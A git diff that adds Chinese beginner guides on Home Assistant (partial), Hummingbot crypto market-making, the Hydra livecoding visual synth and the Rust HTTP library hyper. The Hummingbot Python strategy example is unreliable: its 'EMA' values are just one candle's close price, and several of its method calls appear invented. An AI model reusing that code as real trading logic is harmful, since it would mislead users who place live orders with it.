+API 路径规律：`GET /api/states/<entity_id>` 读状态；`POST /api/services/<domain>/<service>` 调服务。服务执行完毕会返回执行过程中变更的实体状态列表。
+
+---
+
+## 代码示例三：Template 传感器（衍生状态）
+
+有时你要的状态不存在于单一设备，而是用多个实体**计算**出来。Template Integration 可在 YAML 里定义虚拟传感器：
+
+```yaml
+# configuration.yaml 片段
+template:
+  - sensor:
+      - name: "客厅是否闷热"
+        unique_id: living_room_stuffy
+        state: >
+          {% if states('sensor.living_room_temperature') | float > 27
+                and states('sensor.living_room_humidity') | float > 70 %}
+            stuffy
+          {% else %}
+            ok
+          {% endif %}
+        icon: >
+          {% if is_state('sensor.living_room_stuffy', 'stuffy') %}
+            mdi:weather-hazy
+          {% else %}
+            mdi:check-circle
+          {% endif %}
+```
+
+Template 使用 Jinja2 语法，可读其他实体状态。算出的 `sensor.living_room_stuffy` 与普通传感器一样，可被自动化 trigger 监听——这是「软件定义传感器」的常见模式。
+
+---
+
+## 与 MQTT、Matter 的关系
+
+- **MQTT**：许多设备（ESPHome、Tasmota、Zigbee2MQTT）把状态发布到 broker；Core 的 MQTT Integration 订阅 topic，映射为 Entity。常与 [[mosquitto]] 搭配，Core 做编排，Mosquitto 做消息中转。
+- **Matter / Thread / Zigbee**：通过对应 Integration 或加载项接入，最终仍落成 Entity + Service，上层自动化写法不变。
+
+协议在变，**Core 抽象层不变**——这是它历经多年仍活跃的原因。
+
+---
+
+## 开发者延伸路径
+
+1. **读状态、调服务**：REST / WebSocket API，外部脚本、手机快捷指令
+2. **写 Automation / Script / Scene**：YAML 或 UI，快速验证逻辑
+3. **自定义 Integration**：Python，`ConfigFlow` + `Entity` 类，贡献到 [home-assistant/core](https://github.com/home-assistant/core)
+4. **读源码**：从 `homeassistant/core.py` 启动流程、`homeassistant/helpers/event` 事件总线入手
+
+官方开发者文档：[developers.home-assistant.io](https://developers.home-assistant.io/) — 架构、Integration 规范、质量门槛（测试、类型注解）均有说明。
+
+---
+
+## 常见坑与建议
+
+| 现象 | 可能原因 | 建议 |
+| --- | --- | --- |
+| 自动化不触发 | 实体 ID 拼错、trigger 的 `from`/`to` 与实际状态不符 | 开发者工具 → 日志，开自动化调试 |
+| YAML 改完无效 | 未重载配置或语法错误 | 先「检查配置」，再重载自动化/模板 |
+| API 401 | 令牌过期或权限不足 | 重新签发长期令牌，勿把令牌提交 Git |
+| 性能变慢 | 高频 template、过多 recorder 实体 | 缩小 `recorder` 包含域，优化 template 更新间隔 |
+| 设备显示 unavailable | Integration 断连、MQTT broker 挂了 | 先修连通性，再看 Core |
+
+零基础学习路线建议：**装起来 → 认 Entity ID → 看状态 → 写一条自动化 → 用 API 读一个传感器**。四步走完，你就已经理解 Core 80% 的日常用法。
+
+---
+
+## 小结
+
+Home Assistant Core 不是「又一个智能家居 App」，而是跑在你家里的**开源自动化内核**：Event Bus 传递消息，State Machine 记住世界长什么样，Service Registry 执行动作，Integration 对接真实设备。把一切抽象成 `entity_id` + `state` + `service`，自动化和 API 就有了统一语言。
+
+- 项目地址：[https://github.com/home-assistant/core](https://github.com/home-assistant/core)
+- 用户文档：[https://www.home-assistant.io/docs/](https://www.home-assistant.io/docs/)
+- 开发者文档：[https://developers.home-assistant.io/](https://developers.home-assistant.io/)
+
+下一步可深入：ESPHome 自制传感器、Node-RED 可视化流、或与 [[mosquitto]] 搭建完整 MQTT 家居链路。
diff --git a/src/content/docs/projects/hummingbot.md b/src/content/docs/projects/hummingbot.md
new file mode 100644
index 000000000..e165a840b
--- /dev/null
+++ b/src/content/docs/projects/hummingbot.md
@@ -0,0 +1,196 @@
+---
+title: Hummingbot 零基础入门笔记
+来源: https://github.com/hummingbot/hummingbot
+日期: 2026-06-13
+分类: 其他
+子分类: 量化金融
+provenance: pipeline-v3
+---
+
+# Hummingbot 零基础入门笔记
+
+## 一、日常类比：什么是 Hummingbot？
+
+想象你在菜市场摆摊卖苹果。你挂一个牌子："我出 5 元买你的苹果，也愿意以 5.2 元卖给你苹果"——这 5 元叫"买单"（bid），5.2 元叫"卖单"（ask）。中间的 0.2 元就是你赚的差价。
+
+如果你能 24 小时不睡觉地盯着行情牌，每秒钟都根据最新价格调整自己的买卖报价，那你就能稳定赚到这点"点差"。但人做不到，于是有了 Hummingbot。
+
+Hummingbot 是一个开源的 Python 框架，帮你在加密货币交易所上自动运行这种"做市"策略——也就是同时挂买单和卖单，赚取买卖价差。它支持 140+ 交易所，包括币安（Binance）、OKX 这些中心化交易所，也包括 Uniswap 这样的去中心化交易所（DEX）。
+
+GitHub 上有近 19000 个 Star，说明它是这个领域里最流行的开源项目之一。
+
+## 二、核心概念
+
+### 1. 策略（Strategy）
+
+策略就是交易的"大脑"。Hummingbot 内置了很多策略模板，最常见的有：
+
+- **纯做市（Pure Market Making, PMM）**：围绕市场中间价，同时挂买单和卖单，定时刷新订单。这是最适合新手的入门策略。
+- **跨交易所做市（XEMM）**：在两个交易所之间套利——比如在 A 所低价买入，同时在 B 所高价卖出。
+- **Avellaneda 做市**：基于学术论文的数学模型，更高级。
+
+### 2. 连接器（Connector）
+
+连接器是 Hummingbot 连接不同交易所的"翻译官"。无论交易所的 API 长什么样，Humingbot 都会把它标准化成统一的接口。连接器分三类：
+
+| 类型 | 说明 | 例子 |
+|------|------|------|
+| CLOB CEX | 中心化限价单簿交易所，资金托管在你给的 API Key 上 | Binance, OKX, KuCoin |
+| CLOB DEX | 去中心化限价单簿交易所，通过钱包连接 | Hyperliquid, dYdX |
+| AMM DEX | 自动化做市商协议，通过 Gateway 中间件连接 | Uniswap, PancakeSwap |
+
+### 3. V1 vs V2 框架
+
+- **V1**：2019 年推出的原始框架，每个策略是一个独立的文件，配置写在 YAML 文件里。简单直接，适合新手。
+- **V2**：2023 年开始推出的新框架，把策略拆成了积木式的组件：
+  - **Executor**：完成一个具体交易任务的模块（比如开仓、网格交易），设计为"启动后自动结束"。
+  - **Script**：把所有逻辑写在一个 Python 文件里，适合学习和原型开发。
+  - **Controller**：生产级别的模块化子策略，可以同时运行多个，适合复杂的多币种策略。
+
+### 4. 时钟滴答（Clock Tick）
+
+策略的运行节奏叫"时钟滴答"，默认每秒一次。每次滴答，策略会：
+1. 从交易所拉取最新的订单簿快照
+2. 检查自己的持仓和订单状态
+3. 根据策略逻辑决定要不要挂新单、撤旧单
+
+## 三、安装与启动
+
+最简单的安装方式是用 Docker：
+
+```bash
+git clone https://github.com/hummingbot/hummingbot.git
+cd hummingbot
+make setup
+make deploy
+docker attach hummingbot
+```
+
+启动后你会进入一个交互式命令行界面（CLI），输入 `help` 可以看到所有可用命令。
+
+## 四、代码示例
+
+### 示例 1：配置一个纯做市策略（YAML 配置文件）
+
+在 Hummingbot 中，策略参数保存在 YAML 文件里。你可以通过 `create` 命令自动生成，也可以手动编写。下面是一个典型的纯做市策略配置：
+
+```yaml
+# conf/strategies/conf_pure_mm_1.yml
+strategy: pure_market_making
+exchange: binance
+market: BTC-USDT
+bid_spread: 0.005       # 买单挂在中间价下方 0.5%
+ask_spread: 0.005       # 卖单挂在中间价上方 0.5%
+order_amount: 0.001     # 每笔订单 0.001 BTC
+order_refresh_time: 30  # 每 30 秒刷新一次订单
+max_order_age: 1800     # 超过 30 分钟未成交就撤销重挂
+```
+
+解释：
+- `bid_spread` 和 `ask_spread` 决定了你的利润空间——价差越大，单笔利润越高，但成交概率越低。这是一个权衡。
+- `order_refresh_time` 控制订单的"保质期"。到期后 Hummingbot 会自动撤掉旧单，按最新行情挂新单。
+- 启动命令：`start`
+
+### 示例 2：V2 框架下的策略脚本（Python 代码）
+
+V2 框架的策略脚本把所有逻辑放在一个 Python 文件中。下面是一个简化版的示例，展示了一个基于 EMA 指标的趋势跟踪策略的基本结构：
+
+```python
+# scripts/simple_directional.py
+from hummingbot.strategy.script_strategy_v2 import ScriptStrategyV2
+
+
+class SimpleDirectional(ScriptStrategyV2):
+
+    # 定义可配置的参数
+    def __init__(self):
+        super().__init__()
+        self.trades_count = 0
+
+    def on_tick(self):
+        """
+        这是策略的核心心跳函数。
+        每秒被调用一次，负责获取行情并做出交易决策。
+        """
+        ticker = self.get_ticker()
+        current_price = ticker.last
+
+        # 获取短期和长期 EMA
+        short_ema = self.market_data_provider.get_candles(
+            conn=self.exchange.markets["BTC-USDT"][0],
+            symbol="BTC-USDT",
+            timeframe="5m",
+            limit=24,  # 短期：4 小时数据
+        )[0].close
+
+        long_ema = self.market_data_provider.get_candles(
+            conn=self.exchange.markets["BTC-USDT"][0],
+            symbol="BTC-USDT",
+            timeframe="5m",
+            limit=72,  # 长期：12 小时数据
+        )[0].close
+
+        # 金叉：短期均线上穿长期均线 → 买入信号
+        if short_ema > long_ema and not self.has_open_orders():
+            self.buy(amount=0.001, price=current_price)
+            self.trades_count += 1
+            self.logger().info(f"Buy signal triggered. Total trades: {self.trades_count}")
+
+        # 死叉：短期均线跌破长期均线 → 卖出信号
+        elif short_ema < long_ema and self.position_is_open():
+            self.sell(amount=0.001, price=current_price)
+            self.trades_count += 1
+            self.logger().info(f"Sell signal triggered. Total trades: {self.trades_count}")
+
+    def format_status(self) -> str:
+        """格式化显示当前策略状态"""
+        if not self.ready_to_trade:
+            return "交易所连接尚未就绪"
+        lines = [
+            f"总交易次数: {self.trades_count}",
+            f"当前 BTC 价格: {self.get_ticker().last}",
+        ]
+        return "\n".join(lines)
+```
+
+关键理解：
+- `on_tick()` 是策略的心脏——每秒跳动一次，读取数据、做出判断、发出指令。
+- `get_ticker()` 拿到最新价格，`get_candles()` 拿到历史 K 线数据来计算 EMA。
+- `buy()` 和 `sell()` 是下单方法，`has_open_orders()` 和 `position_is_open()` 是状态查询方法。
+- `format_status()` 让你在终端里看到策略的实时状态。
+
+## 五、策略运行流程总结
+
+用一个流程图来理解整个系统的运作：
+
+```
+时钟滴答（每秒）
+    │
+    ▼
+拉取订单簿数据 ──→ 分析数据（价差、趋势、持仓）
+    │
+    ▼
+生成订单建议 ──→ 检查是否需要撤单
+    │
+    ▼
+合并所有建议 ──→ 发送到交易所执行
+    │
+    ▼
+回到时钟滴答（循环）
+```
+
+## 六、风险提醒
+
+Hummingbot 本身只是一个工具，就像一把菜刀——厨师用它做饭，坏人用它伤人。以下几点务必注意：
+
+1. **市场风险**：做市策略在横盘行情中表现最好，但如果价格单边暴跌或暴涨，你可能囤积大量亏损的仓位。
+2. **API Key 安全**：连接交易所时需要提供 API Key，务必只开启"交易权限"，关闭"提现权限"。
+3. **回测先行**：在真实资金上运行之前，先用 Hummingbot 的 Paper Trade（模拟交易）模式测试。
+4. **手续费**：高频交易意味着高手续费，如果价差收益覆盖不了手续费，策略就会亏钱。
+
+## 七、进一步学习
+
+- 官方文档：https://hummingbot.org
+- 官方 Discord 社区：https://discord.gg/hummingbot
+- Botcamp 培训课程：https://www.botcamp.xyz（官方认证课程）
+- Quants Lab：https://github.com/hummingbot/quants-lab（Jupyter 笔记本，用于数据研究和回测）
diff --git a/src/content/docs/projects/hydra-synth.md b/src/content/docs/projects/hydra-synth.md
new file mode 100644
index 000000000..eb697bb6c
--- /dev/null
+++ b/src/content/docs/projects/hydra-synth.md
@@ -0,0 +1,222 @@
+---
+title: Hydra — 实时视觉合成 Livecoding
+来源: 'https://github.com/ojack/hydra'
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Hydra** 是一套在浏览器里 **实时编写、即时渲染** 的视听合成工具，由 Olivia Jack（ojack）发起，灵感来自模拟模块化合成器（Moog、Buchla）与 Sandin Image Processor 等模拟视频反馈系统。你在网页编辑器里敲几行 JavaScript，画面立刻变化——这叫 **livecoding（现场编程）**：像 DJ 打碟时实时拧旋钮，只不过你拧的是代码里的数字和函数链。
+
+日常类比：
+
+> 把 Hydra 想成 **视频版的乐高 + 调音台**。`osc()`、`shape()` 是「音源模块」；`.rotate()`、`.kaleid()` 是「效果器」；`.blend()`、`.modulate()` 是「混音台推子」。模块之间不用物理线缆，用 **点号 `.` 串成一条信号链**，最后接到 `.out()` 这个「主输出」。四个虚拟输出 `o0`–`o3` 像四路 Aux 发送，可以分屏预览，也可以叠在一起做 VJ 演出。
+
+在线入口：[hydra.ojack.xyz](https://hydra.ojack.xyz)。核心渲染引擎拆成独立 npm 包 [hydra-synth](https://github.com/ojack/hydra-synth)，底层用 **WebGL**（通过 [regl](/docs/projects/regl)）在 GPU 上合成纹理；多窗口协作靠 **WebRTC**（rtc-patch-bay）。与 [Shader Park](/docs/projects/shader-park) 的分工：Shader Park 用 JS 描述 SDF 再 Raymarch；Hydra 用 **2D 纹理流水线** 做振荡器、噪声、摄像头与视频混合，更贴近传统 VJ / 模拟合成思维。
+
+## 为什么重要
+
+不理解 Hydra，下面几件事都说不通：
+
+- 为什么 Algorave、livecoding 演出里有人只改一行 `osc(10).rotate(0.1)` 就能让全场画面突变
+- 为什么 **modulate** 用另一路纹理的 RGB 去扭曲几何，效果像透过毛玻璃看摄像头
+- 为什么同一套 sketch 可以通过 URL 参数分享、上传 gallery，甚至两个浏览器窗口互相当视频源
+- 为什么 Hydra 社区作品常只有十几行，却能叠加 kaleidoscope、diff 混合、音频频谱驱动
+
+## 核心概念
+
+### 1. 模块化信号链（Source → Transform → Out）
+
+Hydra 的编程模型极其统一：
+
+1. **Source（源）**：`osc()`、`shape()`、`noise()`、`gradient()`，或外部 `src(s0)`
+2. **Geometry（几何变换）**：`.rotate()`、`.scale()`、`.pixelate()`、`.kaleid()`、`.repeat()`
+3. **Color（颜色变换）**：`.color()`、`.saturate()`、`.invert()`、`.posterize()`
+4. **Blend（混合）**：`.blend()`、`.diff()`、`.mult()`、`.add()`——类似 Photoshop 图层混合模式
+5. **Modulate（调制）**：`.modulate()`、`.modulateRotate()`——用 B 纹理的亮度/色相去扭曲 A 纹理的坐标
+6. **输出**：`.out()` 默认写到 `o0`；`.out(o1)` 写到其他 buffer
+
+链式写法：
+
+```js
+osc(20, 0.1, 0.8).rotate(0.8).pixelate(20, 30).out()
+```
+
+读法：振荡器 → 旋转 → 像素化 → 显示。函数括号里的数字就像合成器旋钮的刻度。
+
+### 2. 多路 Framebuffer：`o0`–`o3` 与 `s0`–`s3`
+
+| 变量 | 角色 |
+|------|------|
+| `o0`–`o3` | **输出缓冲**：各自渲染一条链的结果，可 `render()` 四分屏或 `render(o2)` 单路全屏 |
+| `s0`–`s3` | **输入缓冲**：摄像头、视频、图片、屏幕捕获、远程 WebRTC 流 |
+
+初始化外部源示例：
+
+```js
+s0.initCam()           // 摄像头 → s0
+s0.initVideo(url)      // 视频 URL → s0
+s0.initImage(url)      // 静态图 → s0
+s0.initScreen()        // 桌面/标签页捕获 → s0
+s0.initStream(name)    // 另一 Hydra 窗口的命名流 → s0
+```
+
+用 `src(s0)` 把缓冲当作链的起点，后面照常接 `.kaleid(4).out()`。
+
+### 3. 混合 vs 调制
+
+- **Blend**：两路纹理的 **颜色** 按算术混合（`diff` 类似差值，`mult` 正片叠底）
+- **Modulate**：用调制源的红/绿通道当作 **x/y 位移场**，扭曲被调制源的 UV，像透过波纹玻璃看画面；**不改变色相逻辑，只弯几何**
+
+这是 Hydra 最有「模拟味」的部分，也是 VJ 做出流动、熔化质感的关键。
+
+### 4. 时间与交互
+
+全局变量 `time`（页面加载后的毫秒）可驱动任意参数：
+
+```js
+osc(() => 10 + Math.sin(time * 0.002) * 8).out()
+```
+
+音频对象 `a`（基于 Meyda FFT）可读 `a.fft[0]` 等频段；实验性 **MIDI**、鼠标坐标也可接入。保留函数 `update` 会在每帧渲染前执行，适合挂 Three.js / p5 画布再 `s0.init({ src: canvas })` 喂给 Hydra。
+
+### 5. 网络协作（WebRTC）
+
+窗口 A：`pb.setName("myGraphics")`  
+窗口 B：`s0.initStream("myGraphics")` 然后 `src(s0).out()`  
+
+任意网页也可通过 rtc-patch-bay 变成 Hydra 的远程纹理源——适合分布式演出或多人 jam。
+
+## 编辑器速查
+
+| 快捷键 | 作用 |
+|--------|------|
+| `Ctrl+Enter` | 运行当前行 |
+| `Ctrl+Shift+Enter` | 运行全部代码 |
+| `Alt+Enter` | 运行当前块 |
+| `Ctrl+Shift+H` | 隐藏/显示代码层 |
+| `Ctrl+Shift+F` | Prettier 格式化 |
+| `Ctrl+Shift+S` | 截图下载 |
+
+运行后 URL 会编码当前 sketch，便于分享；也可点 **upload to gallery** 公开作品。
+
+## 实践案例
+
+### 案例 1：从零到第一条视觉振荡器
+
+关闭欢迎层后，清空编辑器，输入：
+
+```js
+// 视觉振荡器：频率、同步、RGB 偏移
+osc(20, 0.1, 0.8).out()
+```
+
+`Ctrl+Shift+Enter` 运行，应看到滚动条纹。改 `osc(10)` 改变密度；加 `.rotate(0.05, 0.1)` 让条纹斜向流动；加 `.color(1, 0.2, 3)` 调色相。
+
+进阶 kaleidoscope：
+
+```js
+osc(10, 0.03, 1.2)
+  .rotate(0.2, 0.05)
+  .kaleid(5)
+  .out()
+```
+
+**要点**：始终保证链末有 `.out()`；报错时看左下角红色语法提示（常见是多点、少括号）。
+
+### 案例 2：摄像头 + 振荡器调制（典型 VJ 起手式）
+
+```js
+s0.initCam()
+
+osc(21, 0, 0.8)
+  .rotate(0, 0.1)
+  .out(o1)
+
+src(s0)
+  .modulate(o1, 0.15)
+  .color(1.2, 0.5, 2)
+  .out()
+```
+
+**逐行解释**：
+
+- `s0.initCam()` 点亮摄像头并写入 `s0`（此时屏幕还不会显示，除非 `src(s0).out()`）
+- 第一链把快转的 `osc` 渲染到 **离屏缓冲** `o1`，当作「位移贴图」
+- `src(s0).modulate(o1, 0.15)` 用 `o1` 的 RG 扭曲摄像头 UV，第二参数控制扭曲强度
+- `.color()` 再整体调色
+
+可把 `0.15` 改成 `() => a.fft[0] * 0.5`（需先 `a.show()` 校准 FFT）做 **音频反应** 演出。
+
+### 案例 3：双缓冲混合演出
+
+```js
+shape(4, 0.5)
+  .rotate(0, 0.02)
+  .mult(osc(8))
+  .out(o0)
+
+noise(3, 0.1)
+  .diff(o0)
+  .blend(o0, 0.4)
+  .out(o1)
+
+render(o1)
+```
+
+`shape` 生成几何图形；`mult` 与振荡器正片叠底；第二路 `noise` 与 `o0` 做 `diff` 再 `blend` 叠回；`render(o1)` 全屏显示最终合成。现场可只改 `render(o0)` / `render(o1)` 切换镜头。
+
+### 案例 4：嵌入 p5.js 画布（扩展管线）
+
+```js
+p5 = new P5()
+
+p5.draw = () => {
+  p5.background(0)
+  p5.fill(p5.mouseX / 5, 200, 255, 120)
+  p5.rect(p5.mouseX, p5.mouseY, 40, 200)
+}
+
+s0.init({ src: p5.canvas })
+src(s0).repeat(3, 3).modulateRotate(osc(8), 0.3).out()
+```
+
+p5 负责交互绘图，Hydra 负责后处理——分工类似「前期拍摄 + 现场调色台」。
+
+## 函数族一览（入门 subset）
+
+| 类别 | 常用函数 |
+|------|----------|
+| Source | `osc`, `shape`, `noise`, `gradient`, `solid`, `voronoi` |
+| Geometry | `rotate`, `scale`, `pixelate`, `kaleid`, `repeat`, `scrollX`, `scrollY` |
+| Color | `color`, `saturate`, `contrast`, `invert`, `posterize`, `thresh` |
+| Blend | `blend`, `add`, `mult`, `diff`, `layer` |
+| Modulate | `modulate`, `modulateRotate`, `modulateScale`, `modulatePixelate` |
+
+完整交互参考：[hydra 函数文档](https://hydra.ojack.xyz/docs/docs/funcs/)；源码在 [hydra-synth glsl-functions.js](https://github.com/ojack/hydra-synth/blob/master/src/glsl/glsl-functions.js)。
+
+## 生态与相关项目
+
+| 项目 | 关系 |
+|------|------|
+| [hydra-synth](https://github.com/ojack/hydra-synth) | 可嵌入任意网页的 npm 引擎 |
+| [atom-hydra](https://github.com/ojack/atom-hydra) | Atom 编辑器内 livecoding |
+| [rtc-patch-bay](https://github.com/ojack/rtc-patch-bay) | WebRTC 视频路由，可独立使用 |
+| [Lumen](https://lumen-app.com/) | macOS 桌面视频合成，概念相近 |
+| [VEDA](https://veda.gl/) | Atom 内的 VJ 系统 |
+
+学习路径建议：官方 [Getting started](https://hydra.ojack.xyz/docs/docs/learning/getting-started/) → 随机 sketch（工具栏骰子）→ [Hydra Book](https://github.com/ojack/hydra/tree/master/docs) / 社区 [@hydra_patterns](https://twitter.com/hydra_patterns) → 自己演出时从 `osc().out()` 改一个参数开始。
+
+## 局限与注意
+
+- **浏览器**：文档写明目前以 **Chrome / Chromium + WebGL** 体验最佳；Safari/Firefox 部分功能可能受限
+- **许可**：在线版与主仓库多为 **AGPL-3.0**；嵌入商业产品前需读 license
+- **性能**：高分辨率 + 多路 `modulate` + 摄像头会吃 GPU；演出前在目标机器上试跑
+- **远程流**：`initStream` 建立连接有几秒延迟，控制台可看 `pb.list()` 排障
+
+## 小结
+
+Hydra 把 **模拟合成器的接线思维** 搬进了浏览器：源 → 变换 → 混合/调制 → 输出，用点号链起来就能 livecoding。零基础只需记住 `osc().out()` 和 `Ctrl+Shift+Enter`；进阶再玩 `o0`–`o3` 多缓冲、`modulate` 扭曲摄像头、FFT/MIDI 驱动参数，以及 WebRTC 多窗协作。它与 regl（WebGL 封装）、Shader Park（SDF 雕塑）形成互补：一个管 **实时 2D 纹理 VJ**，一个管 **底层 GPU**，一个管 **程序化 3D 距离场**——按演出需求选型即可。
diff --git a/src/content/docs/projects/hyper.md b/src/content/docs/projects/hyper.md
new file mode 100644
index 000000000..8dcf4e10d
--- /dev/null
+++ b/src/content/docs/projects/hyper.md
@@ -0,0 +1,255 @@
+---
+title: hyper — Rust HTTP 实现
+来源: https://github.com/hyperium/hyper
+日期: 2026-06-13
+分类: 后端 API
+子分类: rust-tools
+provenance: pipeline-v3
+---
+
+# hyper — Rust HTTP 实现
+
+## 一、从"快递站"说起：HTTP 是什么
+
+想象你住在一栋大楼里，每个房间都是一个程序。
+
+房间 A 想给房间 B 送一份文件，但不能直接走过去——它们之间隔着一堵墙。于是需要一个"快递员"：
+
+- 房间 A 把文件打包好，写上收件地址，交给快递员
+- 快递员把文件送到房间 B
+- 房间 B 拆开包裹，看完回复，再把回信交给快递员送回去
+
+这个"快递员系统"就是 **HTTP**。它是互联网上最通用的通信协议，你在浏览器里打开任何一个网页，背后都是 HTTP 在工作。
+
+而 **hyper**，就是 Rust 语言世界里一个非常优秀的"快递员系统设计手册"。它不只是一个工具，更是一套让你自己搭建 HTTP 服务或客户端的底层积木。
+
+## 二、hyper 是什么
+
+hyper 是 Rust 生态中最著名的 HTTP 库之一，仓库地址：https://github.com/hyperium/hyper，已有超过 16,000 个 star。
+
+它的定位是"低层 HTTP 库"——意思是它提供的是最基础的 HTTP 功能，像砖头和水泥。如果你想要一个完整的网站框架，可以在 hyper 之上搭建；如果你只想发个 HTTP 请求，也可以用更高级的库（比如 reqwest，它底层就是用的 hyper）。
+
+关键特性：
+
+- 同时支持 HTTP/1 和 HTTP/2 协议
+- 异步设计：不阻塞，能同时处理成千上万个连接
+- 性能极高：Rust 的零成本抽象让它几乎和 C 一样快
+- 正确性经过大量生产环境验证
+- 既可以做服务端（接收请求），也可以做客户端（发送请求）
+
+## 三、核心概念
+
+理解 hyper，需要先搞懂三个核心概念。
+
+### 3.1 Request 和 Response
+
+HTTP 世界只有两种东西：**请求（Request）**和**响应（Response）**。
+
+每一次通信都是一问一答：
+
+| 部分 | 说明 | 类比 |
+|------|------|------|
+| Method | 请求类型（GET / POST 等） | "我要读文件"还是"我要传文件" |
+| URI | 目标地址 | 收件人的门牌号 |
+| Headers | 元数据（内容类型、编码等） | 包裹上的标签："易碎品""加急" |
+| Body | 实际内容 | 包裹里的东西 |
+
+在 hyper 中，`Request` 和 `Response` 是两个核心结构体，贯穿整个库的使用。
+
+### 3.2 Service（服务）
+
+这是 hyper 最核心的抽象。
+
+一个 Service 就是一个函数：收到一个 Request，返回一个 Future，这个 Future 最终会变成一个 Response。
+
+用大白话说：**Service 就是你的服务器"怎么回应客人"的规则。**
+
+```
+客人敲门（Request）→ 服务员处理（Service）→ 端出菜品（Response）
+```
+
+hyper 提供了一个方便的宏 `service_fn`，可以把普通函数直接变成 Service。
+
+### 3.3 异步与 Runtime
+
+hyper 是异步的。这意味着：当一个请求在处理时（比如查数据库），CPU 不会傻等，而是去处理别的请求。
+
+这需要一个"调度中心"来管理所有并发任务——这就是 **Runtime**。hyper 默认配合 [tokio](https://tokio.rs) 使用，tokio 就是那个调度员，负责在合适的时间做合适的事。
+
+## 四、代码示例：搭建一个 HTTP 服务器
+
+下面是一个完整的"Hello, World!"服务器，使用 hyper 监听 3000 端口。
+
+### 4.1 准备工作
+
+在 `Cargo.toml` 中添加依赖：
+
+```toml
+[dependencies]
+hyper = { version = "1", features = ["full"] }
+tokio = { version = "1", features = ["full"] }
+http-body-util = "0.1"
+hyper-util = { version = "0.1", features = ["full"] }
+```
+
+### 4.2 完整代码
+
+```rust
+use std::convert::Infallible;
+use std::net::SocketAddr;
+
+use http_body_util::Full;
+use hyper::body::Bytes;
+use hyper::server::conn::http1;
+use hyper::service::service_fn;
+use hyper::{Request, Response};
+use hyper_util::rt::TokioIo;
+use tokio::net::TcpListener;
+
+// 第一步：定义你的"服务"——收到请求后怎么回应
+async fn hello(_request: Request<hyper::body::Incoming>) -> Result<Response<Full<Bytes>>, Infallible> {
+    // 构造一个响应：状态码 200，内容是 "Hello, World!"
+    let response = Response::new(Full::new(Bytes::from("Hello, World!")));
+    Ok(response)
+}
+
+#[tokio::main]
+async fn main() -> Result<(), Box<dyn std::error::Error + Send + Sync>> {
+    // 第二步：绑定地址和端口
+    let addr = SocketAddr::from(([127, 0, 0, 1], 3000));
+    let listener = TcpListener::bind(addr).await?;
+
+    println!("Server listening on http://127.0.0.1:3000");
+
+    // 第三步：持续接受新的连接
+    loop {
+        let (stream, _) = listener.accept().await?;
+
+        // 把底层的 TCP 流包装成 hyper 能理解的格式
+        let io = TokioIo::new(stream);
+
+        // 为每个连接创建一个新任务，这样就能同时处理多个请求
+        tokio::task::spawn(async move {
+            // 第四步：把这个连接和我们的 hello 服务绑定起来
+            if let Err(err) = http1::Builder::new()
+                .serve_connection(io, service_fn(hello))
+                .await
+            {
+                eprintln!("Error serving connection: {:?}", err);
+            }
+        });
+    }
+}
+```
+
+运行后，打开浏览器访问 http://127.0.0.1:3000，就能看到 "Hello, World!"。
+
+代码流程拆解：
+
+1. 定义 `hello` 函数——这是你的服务逻辑
+2. 用 `TcpListener::bind` 绑定端口，相当于在门口挂牌"营业了"
+3. 在循环中 `accept` 新的连接，相当于不断有人来敲门
+4. 用 `service_fn(hello)` 把你的函数包装成 hyper 能理解的 Service
+5. `http1::Builder::new().serve_connection(...)` 把连接和服务绑在一起
+
+## 五、代码示例：做一个 HTTP 客户端
+
+除了搭建服务器，hyper 也能做客户端——主动去请求别人的服务。
+
+```rust
+use http_body_util::{BodyExt, Empty};
+use hyper::Request;
+use hyper::body::Bytes;
+use hyper_util::rt::TokioIo;
+use tokio::net::TcpStream;
+use tokio::io::{self, AsyncWriteExt as _};
+
+#[tokio::main]
+async fn main() -> Result<(), Box<dyn std::error::Error + Send + Sync>> {
+    // 第一步：解析目标 URL
+    let url = "http://httpbin.org/ip".parse::<hyper::Uri>()?;
+    let host = url.host().expect("uri has no host");
+    let port = url.port_u16().unwrap_or(80);
+    let address = format!("{}:{}", host, port);
+
+    // 第二步：建立 TCP 连接
+    let stream = TcpStream::connect(address).await?;
+    let io = TokioIo::new(stream);
+
+    // 第三步：和服务器握手，创建客户端
+    let (mut sender, conn) = hyper::client::conn::http1::handshake(io).await?;
+
+    // 第四步：后台驱动连接状态
+    tokio::task::spawn(async move {
+        if let Err(err) = conn.await {
+            println!("Connection failed: {:?}", err);
+        }
+    });
+
+    // 第五步：构造并发送请求
+    let authority = url.authority().unwrap().clone();
+    let req = Request::builder()
+        .uri(url)
+        .header(hyper::header::HOST, authority.as_str())
+        .body(Empty::<Bytes>::new())?;
+
+    // 第六步：等待并打印响应
+    let mut res = sender.send_request(req).await?;
+    println!("Response status: {}", res.status());
+
+    // 第七步：读取响应体（流式读取，边到边写）
+    while let Some(next) = res.frame().await {
+        let frame = next?;
+        if let Some(chunk) = frame.data_ref() {
+            io::stdout().write_all(chunk).await?;
+        }
+    }
+
+    Ok(())
+}
+```
+
+这段代码请求了 httpbin.org 的一个接口，它会返回你的 IP 地址。
+
+流程拆解：
+
+1. 解析 URL，拿到主机名和端口
+2. 建立 TCP 连接——就像打电话拨号
+3. 握手——确认对方准备好了
+4. 构造一个 GET 请求，发给服务器
+5. 服务器返回响应，我们逐块读取并打印出来
+
+注意 Body 是"流式"的：不需要等整个响应下载完才处理，而是来一块处理一块。这对大文件传输特别重要。
+
+## 六、生态关系图
+
+hyper 在 Rust 生态中的位置：
+
+```
+                    你的应用
+                       │
+               ┌───────┴───────┐
+               │  Axum / Warp  │   ← 高级 Web 框架（面向开发者）
+               └───────┬───────┘
+                       │
+                    hyper          ← 底层 HTTP 库（我们在这里）
+                       │
+                    tokio          ← 异步运行时（调度员）
+                       │
+                   操作系统
+```
+
+- 如果你要写 Web 服务器：可以用 Axum 或 Warp，它们基于 hyper
+- 如果你要发 HTTP 请求：可以用 reqwest，它底层也是 hyper
+- 如果你想完全掌控 HTTP 的细节：直接用 hyper
+
+## 七、总结
+
+hyper 的核心思想其实很简单：
+
+- 一切围绕 Request 和 Response 展开
+- 用 Service 定义"收到请求怎么回应"
+- 借助 tokio 实现高并发
+- 保持低层，让你有最大的灵活性
+
+理解了这三个概念（Request/Response、Service、异步），你就掌握了 hyper 的精髓。剩下的只是 API 的细节而已。
diff --git a/src/content/docs/projects/hyprland.md b/src/content/docs/projects/hyprland.md
new file mode 100644
index 000000000..8652eb2c5
--- /dev/null
+++ b/src/content/docs/projects/hyprland.md
@@ -0,0 +1,298 @@
+---
